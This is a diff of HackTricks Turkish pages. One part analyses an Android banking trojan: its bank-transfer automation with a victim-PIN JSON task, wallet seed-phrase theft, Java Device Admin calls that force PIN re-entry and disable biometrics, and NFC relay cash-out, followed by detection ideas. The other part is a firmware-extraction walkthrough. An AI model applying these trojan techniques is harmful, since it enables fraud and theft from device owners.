- Düşük bant genişliği: periyodik olarak Accessibility node tree'i dök, görünen metinleri/rolleri/bounds'u serileştir ve sahte ekran olarak C2'ye gönder (örnek komutlar: `txt_screen` bir kerelik, `screen_live` sürekli).
|
||||||
- Yüksek doğruluk: MediaProjection isteyin ve talep üzerine screen-casting/recording başlatın (komutlar gibi `display` / `record`).
|
- Yüksek doğruluk: MediaProjection isteğinde bulunup isteğe bağlı olarak ekran yayını/kayıt başlat (örnek komutlar: `display` / `record`).
|
||||||
|
|
||||||
### ATS playbook (banka uygulaması otomasyonu)
|
### ATS playbook (banka uygulaması otomasyonu)
|
||||||
Verilen bir JSON göreviyle, banka uygulamasını açın, metin sorguları ve koordinat tıklamalarının karışımıyla Accessibility üzerinden UI'ı yönlendirin ve istendiğinde mağdurun ödeme PIN'ini girin.
|
Verilen bir JSON görevi ile banka uygulamasını aç, Accessibility aracılığıyla metin sorguları ve koordinat tıklamaları karışımıyla UI'yi yönlendir ve istendiğinde kurbanın ödeme PIN'ini gir.
|
||||||
|
|
||||||
Örnek görev:
|
Örnek görev:
|
||||||
```json
|
```json
|
||||||
@ -290,7 +331,7 @@ Verilen bir JSON göreviyle, banka uygulamasını açın, metin sorguları ve ko
|
|||||||
"name": "ACME"
|
"name": "ACME"
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Bir hedef akışında görülen örnek metinler (CZ → EN):
|
Example texts seen in one target flow (CZ → EN):
|
||||||
- "Nová platba" → "Yeni ödeme"
|
- "Nová platba" → "Yeni ödeme"
|
||||||
- "Zadat platbu" → "Ödeme gir"
|
- "Zadat platbu" → "Ödeme gir"
|
||||||
- "Nový příjemce" → "Yeni alıcı"
|
- "Nový příjemce" → "Yeni alıcı"
|
||||||
@ -299,56 +340,56 @@ Bir hedef akışında görülen örnek metinler (CZ → EN):
|
|||||||
- "Odeslat" → "Gönder"
|
- "Odeslat" → "Gönder"
|
||||||
- "Ano, pokračovat" → "Evet, devam et"
|
- "Ano, pokračovat" → "Evet, devam et"
|
||||||
- "Zaplatit" → "Öde"
|
- "Zaplatit" → "Öde"
|
||||||
- "Hotovo" → "Tamamlandı"
|
- "Hotovo" → "Tamam"
|
||||||
|
|
||||||
Operatörler ayrıca transfer limitlerini kontrol etmek/yükseltmek için `check_limit` ve `limit` gibi limitler UI'sında benzer şekilde gezinmeyi sağlayan komutları kullanabilir.
|
Operatörler ayrıca transfer limitlerini `check_limit` ve `limit` gibi komutlarla kontrol edebilir veya artırabilir; bu komutlar limitler UI'sinde benzer şekilde gezinir.
|
||||||
|
|
||||||
### Kripto cüzdan seed çıkarımı
|
### Crypto wallet seed extraction
|
||||||
Hedefler: MetaMask, Trust Wallet, Blockchain.com, Phantom. Akış: unlock (çalınmış PIN veya sağlanan parola), Security/Recovery bölümüne git, seed phrase'i reveal/show et, keylog ile exfiltrate et. Dil farklılıkları arasında gezinmeyi kararlı hale getirmek için locale-aware seçiciler (EN/RU/CZ/SK) uygulayın.
|
Hedefler: MetaMask, Trust Wallet, Blockchain.com, Phantom. Akış: unlock (çalınmış PIN veya sağlanan parola), Security/Recovery'e gidin, seed phrase'i reveal/show edin, keylog/exfiltrate edin. Dil farklılıklarında gezinmeyi stabil hale getirmek için locale-aware selectors (EN/RU/CZ/SK) uygulayın.
|
||||||
|
|
||||||
### Device Admin zorlaması
|
### Device Admin coercion
|
||||||
Device Admin APIs, PIN-capture fırsatlarını artırmak ve kurbanın müdahalesini zorlaştırmak için kullanılır:
|
Device Admin APIs, PIN yakalama fırsatlarını artırmak ve kurbanın eylemlerini zorlaştırmak için kullanılır:
|
||||||
|
|
||||||
- Anında kilitleme:
|
- Anında kilitleme:
|
||||||
```java
|
```java
|
||||||
dpm.lockNow();
|
dpm.lockNow();
|
||||||
```
|
```
|
||||||
- Geçerli kimlik bilgilerini süresini sona erdirerek değiştirmeyi zorla (Accessibility yeni PIN/parolayı yakalar):
|
- Mevcut kimlik bilgilerinin süresini sona erdirip değişikliği zorunlu kıl (Accessibility yeni PIN/parolayı yakalar):
|
||||||
```java
|
```java
|
||||||
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
|
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
|
||||||
```
|
```
|
||||||
- Keyguard biyometrik özelliklerini devre dışı bırakarak biyometrik olmayan kilidi zorla:
|
- keyguard biometric features'i devre dışı bırakarak biyometrik olmayan kilit açmayı zorla:
|
||||||
```java
|
```java
|
||||||
dpm.setKeyguardDisabledFeatures(admin,
|
dpm.setKeyguardDisabledFeatures(admin,
|
||||||
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||||
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
|
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
|
||||||
```
|
```
|
||||||
Not: Birçok DevicePolicyManager kontrolü, güncel Android sürümlerinde Device Owner/Profile Owner gerektirir; bazı OEM build'leri gevşek olabilir. Hedef OS/OEM üzerinde her zaman doğrulayın.
|
Note: Many DevicePolicyManager controls require Device Owner/Profile Owner on recent Android; some OEM builds may be lax. Always validate on target OS/OEM.
|
||||||
|
|
||||||
### NFC relay orchestration (NFSkate)
|
### NFC relay orkestrasyonu (NFSkate)
|
||||||
Stage-3 harici bir NFC-relay modülü (ör. NFSkate) kurup başlatabilir ve röle sırasında mağduru yönlendirmek için bir HTML şablonu bile verebilir. Bu, online ATS ile birlikte temassız, kart-present cash-out yapılabilmesini sağlar.
|
Stage-3 can install and launch an external NFC-relay module (e.g., NFSkate) and even hand it an HTML template to guide the victim during the relay. This enables contactless card-present cash-out alongside online ATS.
|
||||||
|
|
||||||
Arka plan: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
|
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
|
||||||
|
|
||||||
### Operatör komut seti (örnek)
|
### Operatör komut seti (örnek)
|
||||||
- UI/durum: `txt_screen`, `screen_live`, `display`, `record`
|
- UI/durum: `txt_screen`, `screen_live`, `display`, `record`
|
||||||
- Sosyal: `send_push`, `Facebook`, `WhatsApp`
|
- Sosyal: `send_push`, `Facebook`, `WhatsApp`
|
||||||
- Bindirmeler: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
|
- Overlay'lar: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
|
||||||
- Cüzdanlar: `metamask`, `trust`, `blockchain`, `phantom`
|
- Cüzdanlar: `metamask`, `trust`, `blockchain`, `phantom`
|
||||||
- ATS: `transfer`, `check_limit`, `limit`
|
- ATS: `transfer`, `check_limit`, `limit`
|
||||||
- Cihaz: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
|
- Cihaz: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
|
||||||
- İletişim/Keşif: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
|
- İletişim/Keşif: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
|
||||||
- NFC: `nfs`, `nfs_inject`
|
- NFC: `nfs`, `nfs_inject`
|
||||||
|
|
||||||
### Tespit ve savunma fikirleri (RatOn tarzı)
|
### Tespit & savunma fikirleri (RatOn-style)
|
||||||
- Installer/permission yöntemlerini açığa çıkaran `addJavascriptInterface()` içeren WebViews için avlanın; Accessibility istemlerini tetikleyen “/access” ile biten sayfalar.
|
- WebViews with `addJavascriptInterface()` exposing installer/permission methods için tarama yapın; Accessibility istemlerini tetikleyen “/access” ile biten sayfaları izleyin.
|
||||||
- Servis erişimi verildikten kısa süre sonra yüksek oranlı Accessibility hareketleri/tıklamaları üreten uygulamalar için uyarı; C2'ye gönderilen Accessibility node dump'larını andıran telemetri.
|
- Servis erişimi verildikten kısa süre sonra yüksek oranlı Accessibility jestleri/tıklamaları üreten uygulamalar için uyarı verin; C2'ye gönderilen Accessibility node dumps'a benzeyen telemetriyi yakalayın.
|
||||||
- Güvenilmeyen uygulamalarda Device Admin politika değişikliklerini izleyin: `lockNow`, şifre süresi dolması, keyguard özelliklerinin açılıp kapatılması.
|
- Güvenilmeyen uygulamalarda Device Admin politika değişikliklerini izleyin: `lockNow`, password expiration, keyguard özelliklerinin açma/kapama değişiklikleri.
|
||||||
- Kurumsal olmayan uygulamalardan gelen MediaProjection istemleri ve bunları takiben periyodik frame yüklemeleri için uyarı.
|
- Kurumsal olmayan uygulamalardan gelen MediaProjection istemleri ve bunları takiben periyodik frame yüklemeleri için uyarı verin.
|
||||||
- Bir uygulama tarafından tetiklenen harici bir NFC-relay uygulamasının yüklenmesini/başlatılmasını tespit edin.
|
- Bir uygulama tarafından tetiklenen harici bir NFC-relay uygulamasının installation/launch işlemlerini tespit edin.
|
||||||
- Bankacılık için: kanal dışı onaylar, biyometrik-bağlama ve cihaz üzeri otomasyona dayanıklı işlem limitleri uygulayın.
|
- Bankacılık için: out-of-band confirmations, biometrics-binding ve cihaz üzeri otomasyona dayanıklı transaction-limits zorunlu kılın.
|
||||||
|
|
||||||
## Kaynaklar
|
## References
|
||||||
|
|
||||||
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||||
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
||||||
@ -356,5 +397,8 @@ Arka plan: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-
|
|||||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
||||||
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||||
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||||
|
- [Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)](https://dti.domaintools.com/banker-trojan-targeting-indonesian-and-vietnamese-android-users/)
|
||||||
|
- [DomainTools SecuritySnacks – ID/VN Banker Trojans (IOCs)](https://github.com/DomainTools/SecuritySnacks/blob/main/2025/BankerTrojan-ID-VN)
|
||||||
|
- [Socket.IO](https://socket.io)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -6,46 +6,52 @@
|
|||||||
|
|
||||||
### İlgili kaynaklar
|
### İlgili kaynaklar
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
synology-encrypted-archive-decryption.md
|
synology-encrypted-archive-decryption.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Firmware, cihazların doğru bir şekilde çalışmasını sağlayan ve donanım bileşenleri ile kullanıcıların etkileşimde bulunduğu yazılım arasında iletişimi yönetip kolaylaştıran temel yazılımdır. Kalıcı bellekte depolanır, böylece cihaz açıldığında kritik talimatlara erişebilir ve işletim sisteminin başlatılmasını sağlar. Firmware'i incelemek ve potansiyel olarak değiştirmek, güvenlik açıklarını belirlemede kritik bir adımdır.
|
{{#ref}}
|
||||||
|
../../network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
Firmware, cihazların donanım bileşenleri ile kullanıcıların etkileşimde bulunduğu yazılım arasındaki iletişimi yöneterek cihazların doğru çalışmasını sağlayan hayati öneme sahip yazılımdır. Kalıcı bellekte saklanır ve cihazın açıldığı andan itibaren gerekli talimatlara erişmesini sağlayarak işletim sisteminin başlatılmasına olanak tanır. Firmware'in incelenmesi ve potansiyel olarak değiştirilmesi, güvenlik açıklarını tespit etmede kritik bir adımdır.
|
||||||
|
|
||||||
## **Bilgi Toplama**
|
## **Bilgi Toplama**
|
||||||
|
|
||||||
**Bilgi toplama**, bir cihazın yapısını ve kullandığı teknolojileri anlamada kritik bir ilk adımdır. Bu süreç, aşağıdaki verilerin toplanmasını içerir:
|
**Bilgi toplama**, bir cihazın yapısını ve kullandığı teknolojileri anlamada kritik bir ilk adımdır. Bu süreç şu verileri toplamayı içerir:
|
||||||
|
|
||||||
- CPU mimarisi ve çalıştığı işletim sistemi
|
- Çalıştığı CPU mimarisi ve işletim sistemi
|
||||||
- Bootloader ayrıntıları
|
- Bootloader ile ilgili detaylar
|
||||||
- Donanım düzeni ve veri sayfaları
|
- Donanım düzeni ve veri sayfaları
|
||||||
- Kod tabanı metrikleri ve kaynak konumları
|
- Kod tabanı metrikleri ve kaynak konumları
|
||||||
- Harici kütüphaneler ve lisans türleri
|
- Harici kütüphaneler ve lisans türleri
|
||||||
- Güncelleme geçmişleri ve düzenleyici sertifikalar
|
- Güncelleme geçmişleri ve düzenleyici sertifikalar
|
||||||
- Mimari ve akış diyagramları
|
- Mimari ve akış diyagramları
|
||||||
- Güvenlik değerlendirmeleri ve belirlenen açıklar
|
- Güvenlik değerlendirmeleri ve tespit edilen zayıflıklar
|
||||||
|
|
||||||
Bu amaçla, **açık kaynak istihbaratı (OSINT)** araçları çok değerlidir; ayrıca mevcut açık kaynak yazılım bileşenlerinin manuel ve otomatik inceleme süreçleriyle analizi de önemlidir. [Coverity Scan](https://scan.coverity.com) ve [Semmle’nin LGTM](https://lgtm.com/#explore) gibi araçlar, potansiyel sorunları bulmak için kullanılabilecek ücretsiz statik analiz sunar.
|
Bu amaç için, **open-source intelligence (OSINT)** araçları çok değerlidir; mevcut açık kaynak yazılım bileşenlerinin manuel ve otomatik inceleme süreçleriyle analiz edilmesi de aynen önemlidir. [Coverity Scan](https://scan.coverity.com) ve [Semmle’s LGTM](https://lgtm.com/#explore) gibi araçlar, potansiyel sorunları bulmak için kullanılabilecek ücretsiz statik analiz sunar.
|
||||||
|
|
||||||
## **Firmware Edinme**
|
## **Firmware Edinme**
|
||||||
|
|
||||||
Firmware edinme, her biri kendi karmaşıklık seviyesine sahip çeşitli yollarla gerçekleştirilebilir:
|
Firmware elde etme çeşitli yollarla yaklaşılabilir ve her birinin kendi zorluk seviyesi vardır:
|
||||||
|
|
||||||
- **Kaynak** (geliştiriciler, üreticiler) üzerinden **doğrudan**
|
- **Doğrudan** kaynaktan (geliştiriciler, üreticiler)
|
||||||
- Verilen talimatlardan **oluşturarak**
|
- Sağlanan talimatlardan **derleyerek** oluşturma
|
||||||
- Resmi destek sitelerinden **indirerek**
|
- **Resmi destek sitelerinden indirme**
|
||||||
- Barındırılan firmware dosyalarını bulmak için **Google dork** sorguları kullanarak
|
- Barındırılan firmware dosyalarını bulmak için **Google dork** sorgularını kullanma
|
||||||
- [S3Scanner](https://github.com/sa7mon/S3Scanner) gibi araçlarla **bulut depolama** alanlarına doğrudan erişerek
|
- [S3Scanner](https://github.com/sa7mon/S3Scanner) gibi araçlar kullanarak **bulut depolamaya** doğrudan erişim
|
||||||
- Man-in-the-middle teknikleriyle **güncellemeleri** yakalayarak
|
- man-in-the-middle teknikleriyle **güncellemeleri** yakalama
|
||||||
- **UART**, **JTAG** veya **PICit** gibi bağlantılar aracılığıyla cihazdan **çıkararak**
|
- **UART**, **JTAG** veya **PICit** gibi bağlantılar üzerinden cihazdan **çıkartma**
|
||||||
- Cihaz iletişimi içinde güncelleme taleplerini **dinleyerek**
|
- Cihaz iletişiminde **sniffing** ile güncelleme isteklerini yakalama
|
||||||
- **Sabit kodlu güncelleme uç noktalarını** tanımlayıp kullanarak
|
- **Sabit kodlanmış güncelleme uç noktalarını** tespit edip kullanma
|
||||||
- Bootloader veya ağdan **dump** alarak
|
- Bootloader'dan veya ağdan **dump alma**
|
||||||
- Tüm bunlar başarısız olursa, uygun donanım araçları kullanarak depolama çipini **çıkartıp okuyarak**
|
- Başka çare kalmadığında uygun donanım araçları kullanarak **depolama çipini çıkarma ve okuma**
|
||||||
|
|
||||||
## Firmware'i Analiz Etme
|
## Firmware'i Analiz Etme
|
||||||
|
|
||||||
Artık **firmware'e sahip olduğunuzda**, onunla nasıl başa çıkacağınızı bilmek için bilgi çıkarmanız gerekir. Bunun için kullanabileceğiniz farklı araçlar:
|
Artık **firmware'e sahip olduğunuzda**, nasıl işlem yapacağınızı bilmek için ondan bilgi çıkarmanız gerekir. Bunun için kullanabileceğiniz farklı araçlar:
|
||||||
```bash
|
```bash
|
||||||
file <bin>
|
file <bin>
|
||||||
strings -n8 <bin>
|
strings -n8 <bin>
|
||||||
@ -54,24 +60,25 @@ hexdump -C -n 512 <bin> > hexdump.out
|
|||||||
hexdump -C <bin> | head # might find signatures in header
|
hexdump -C <bin> | head # might find signatures in header
|
||||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||||
```
|
```
|
||||||
Eğer bu araçlarla pek bir şey bulamazsanız, görüntünün **entropisini** `binwalk -E <bin>` ile kontrol edin, düşük entropi varsa, muhtemelen şifrelenmemiştir. Yüksek entropi varsa, muhtemelen şifrelenmiştir (veya bir şekilde sıkıştırılmıştır).
|
If you don't find much with those tools check the **entropy** of the image with `binwalk -E <bin>`, if low entropy, then it's not likely to be encrypted. If high entropy, Its likely encrypted (or compressed in some way).
|
||||||
|
|
||||||
|
Ayrıca, bu araçları **firmware içine gömülü dosyaları** çıkarmak için kullanabilirsiniz:
|
||||||
|
|
||||||
Ayrıca, bu araçları **firmware içinde gömülü dosyaları çıkarmak için** kullanabilirsiniz:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
|
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Veya dosyayı incelemek için [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) kullanabilirsiniz.
|
Or [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) to inspect the file.
|
||||||
|
|
||||||
### Dosya Sistemini Alma
|
### Dosya Sistemi Elde Etme
|
||||||
|
|
||||||
Daha önce bahsedilen araçlarla `binwalk -ev <bin>` kullanarak **dosya sistemini çıkarmış olmalısınız**.\
|
With the previous commented tools like `binwalk -ev <bin>` you should have been able to **extract the filesystem**.\
|
||||||
Binwalk genellikle bunu **dosya sistemi türüyle adlandırılan bir klasörün içine çıkarır**, bu genellikle aşağıdakilerden biridir: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
Binwalk usually extracts it inside a **folder named as the filesystem type**, which usually is one of the following: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||||
|
|
||||||
#### Manuel Dosya Sistemi Çıkartma
|
#### Manual Filesystem Extraction
|
||||||
|
|
||||||
Bazen, binwalk **dosya sisteminin sihirli baytını imzalarında bulamayabilir**. Bu durumlarda, binwalk'ı kullanarak **dosya sisteminin ofsetini bulun ve sıkıştırılmış dosya sistemini** ikili dosyadan çıkarın ve **aşağıdaki adımları kullanarak** dosya sistemini türüne göre manuel olarak çıkarın.
|
Sometimes, binwalk will **not have the magic byte of the filesystem in its signatures**. In these cases, use binwalk to **find the offset of the filesystem and carve the compressed filesystem** from the binary and **manually extract** the filesystem according to its type using the steps below.
|
||||||
```
|
```
|
||||||
$ binwalk DIR850L_REVB.bin
|
$ binwalk DIR850L_REVB.bin
|
||||||
|
|
||||||
@ -83,7 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
|||||||
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
||||||
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
||||||
```
|
```
|
||||||
Aşağıdaki **dd komutunu** çalıştırarak Squashfs dosya sistemini çıkarın.
|
Aşağıdaki **dd command** ile Squashfs filesystem carving yapın.
|
||||||
```
|
```
|
||||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||||
|
|
||||||
@ -93,25 +100,25 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
|||||||
|
|
||||||
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
||||||
```
|
```
|
||||||
Alternatif olarak, aşağıdaki komut da çalıştırılabilir.
|
Alternatively, the following command could also be run.
|
||||||
|
|
||||||
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||||
|
|
||||||
- Squashfs için (yukarıdaki örnekte kullanılmıştır)
|
- For squashfs (used in the example above)
|
||||||
|
|
||||||
`$ unsquashfs dir.squashfs`
|
`$ unsquashfs dir.squashfs`
|
||||||
|
|
||||||
Dosyalar daha sonra "`squashfs-root`" dizininde olacaktır.
|
Files will be in "`squashfs-root`" directory afterwards.
|
||||||
|
|
||||||
- CPIO arşiv dosyaları
|
- CPIO archive files
|
||||||
|
|
||||||
`$ cpio -ivd --no-absolute-filenames -F <bin>`
|
`$ cpio -ivd --no-absolute-filenames -F <bin>`
|
||||||
|
|
||||||
- JFFS2 dosya sistemleri için
|
- For jffs2 filesystems
|
||||||
|
|
||||||
`$ jefferson rootfsfile.jffs2`
|
`$ jefferson rootfsfile.jffs2`
|
||||||
|
|
||||||
- NAND flash ile UBIFS dosya sistemleri için
|
- For ubifs filesystems with NAND flash
|
||||||
|
|
||||||
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
|
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
|
||||||
|
|
||||||
@ -119,11 +126,11 @@ Dosyalar daha sonra "`squashfs-root`" dizininde olacaktır.
|
|||||||
|
|
||||||
## Firmware Analizi
|
## Firmware Analizi
|
||||||
|
|
||||||
Firmware elde edildikten sonra, yapısını ve potansiyel zayıflıklarını anlamak için parçalanması önemlidir. Bu süreç, firmware görüntüsünden değerli verileri analiz etmek ve çıkarmak için çeşitli araçların kullanılmasını içerir.
|
Firmware elde edildikten sonra yapısını ve olası zafiyetlerini anlamak için detaylı inceleme yapmak önemlidir. Bu süreç, firmware imajından değerli verileri analiz etmek ve çıkarmak için çeşitli araçların kullanılmasını içerir.
|
||||||
|
|
||||||
### İlk Analiz Araçları
|
### İlk Analiz Araçları
|
||||||
|
|
||||||
İlk inceleme için bir dizi komut sağlanmıştır ( `<bin>` olarak adlandırılan ikili dosya için). Bu komutlar dosya türlerini tanımlamaya, dizeleri çıkarmaya, ikili verileri analiz etmeye ve bölüm ile dosya sistemi ayrıntılarını anlamaya yardımcı olur:
|
İkili dosyanın (`<bin>` olarak anılacaktır) ilk incelenmesi için bir dizi komut verilmiştir. Bu komutlar dosya türlerini belirlemeye, stringleri çıkarmaya, ikili veriyi analiz etmeye ve partition ile dosya sistemi ayrıntılarını anlamaya yardımcı olur:
|
||||||
```bash
|
```bash
|
||||||
file <bin>
|
file <bin>
|
||||||
strings -n8 <bin>
|
strings -n8 <bin>
|
||||||
@ -132,119 +139,119 @@ hexdump -C -n 512 <bin> > hexdump.out
|
|||||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||||
```
|
```
|
||||||
Görüntünün şifreleme durumunu değerlendirmek için **entropy** `binwalk -E <bin>` ile kontrol edilir. Düşük entropy, şifreleme eksikliğini gösterirken, yüksek entropy olası şifreleme veya sıkıştırmayı belirtir.
|
İmajın şifreleme durumunu değerlendirmek için, **entropi** `binwalk -E <bin>` ile kontrol edilir. Düşük entropi şifreleme eksikliğine işaret ederken, yüksek entropi olası şifreleme veya sıkıştırma olduğunu gösterir.
|
||||||
|
|
||||||
**Gömülü dosyaları** çıkarmak için **file-data-carving-recovery-tools** belgeleri ve dosya incelemesi için **binvis.io** gibi araçlar ve kaynaklar önerilir.
|
Gömülü dosyaları çıkarmak için, dosya incelemesi için **file-data-carving-recovery-tools** dokümantasyonu ve **binvis.io** gibi araçlar ve kaynaklar önerilir.
|
||||||
|
|
||||||
### Dosya Sistemini Çıkarma
|
### Dosya Sistemini Çıkarma
|
||||||
|
|
||||||
`binwalk -ev <bin>` kullanarak genellikle dosya sistemi çıkarılabilir, genellikle dosya sistemi türüyle adlandırılan bir dizine (örneğin, squashfs, ubifs) çıkarılır. Ancak, **binwalk** sihirli baytların eksikliği nedeniyle dosya sistemi türünü tanımadığında, manuel çıkarım gereklidir. Bu, dosya sisteminin ofsetini bulmak için `binwalk` kullanmayı ve ardından dosya sistemini çıkarmak için `dd` komutunu içermektedir:
|
`binwalk -ev <bin>` kullanılarak genellikle dosya sistemi çıkarılabilir; çoğu zaman dosya sistemi türünün adına göre bir dizine (ör. squashfs, ubifs) yerleştirilir. Ancak **binwalk** magic bytes eksikliği nedeniyle dosya sistemi türünü tanıyamadığında, manuel çıkarma gerekir. Bu, dosya sisteminin offset'ini bulmak için `binwalk` kullanmayı ve ardından dosya sistemini çıkarmak için `dd` komutunu çalıştırmayı içerir:
|
||||||
```bash
|
```bash
|
||||||
$ binwalk DIR850L_REVB.bin
|
$ binwalk DIR850L_REVB.bin
|
||||||
|
|
||||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||||
```
|
```
|
||||||
Sonrasında, dosya sistemi türüne bağlı olarak (örneğin, squashfs, cpio, jffs2, ubifs), içerikleri manuel olarak çıkarmak için farklı komutlar kullanılır.
|
Ardından, dosya sistemi türüne (ör. squashfs, cpio, jffs2, ubifs) bağlı olarak, içeriği elle çıkarmak için farklı komutlar kullanılır.
|
||||||
|
|
||||||
### Dosya Sistemi Analizi
|
### Dosya Sistemi Analizi
|
||||||
|
|
||||||
Dosya sistemi çıkarıldıktan sonra, güvenlik açıkları arayışına başlanır. Güvensiz ağ daemon'larına, hardcoded kimlik bilgilerine, API uç noktalarına, güncelleme sunucusu işlevlerine, derlenmemiş koda, başlangıç betiklerine ve çevrimdışı analiz için derlenmiş ikililere dikkat edilir.
|
Dosya sistemi çıkarıldıktan sonra, güvenlik açıkları aranmaya başlanır. Dikkat, güvensiz network daemon'ları, hardcoded kimlik bilgileri, API endpoint'leri, update server işlevleri, derlenmemiş kodlar, başlangıç betikleri ve çevrimdışı analiz için derlenmiş ikili dosyalara verilir.
|
||||||
|
|
||||||
**Ana konumlar** ve **incelemesi gereken öğeler** şunlardır:
|
**İncelenmesi gereken önemli konumlar** ve **öğeler** şunlardır:
|
||||||
|
|
||||||
- **etc/shadow** ve **etc/passwd** kullanıcı kimlik bilgileri için
|
- **etc/shadow** ve **etc/passwd** kullanıcı kimlik bilgileri için
|
||||||
- **etc/ssl** içindeki SSL sertifikaları ve anahtarlar
|
- **etc/ssl** içindeki SSL sertifikaları ve anahtarlar
|
||||||
- Potansiyel güvenlik açıkları için yapılandırma ve betik dosyaları
|
- Potansiyel güvenlik açıkları için yapılandırma ve betik dosyaları
|
||||||
- Daha fazla analiz için gömülü ikililer
|
- İleri analiz için gömülü ikili dosyalar
|
||||||
- Yaygın IoT cihazı web sunucuları ve ikilileri
|
- Yaygın IoT cihaz web sunucuları ve ikili dosyalar
|
||||||
|
|
||||||
Dosya sistemi içindeki hassas bilgileri ve güvenlik açıklarını ortaya çıkarmaya yardımcı olan birkaç araç bulunmaktadır:
|
Dosya sistemi içinde hassas bilgileri ve güvenlik açıklarını ortaya çıkarmaya yardımcı olan birkaç araç:
|
||||||
|
|
||||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) ve [**Firmwalker**](https://github.com/craigz28/firmwalker) hassas bilgi arayışı için
|
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) ve [**Firmwalker**](https://github.com/craigz28/firmwalker) hassas bilgi arama için
|
||||||
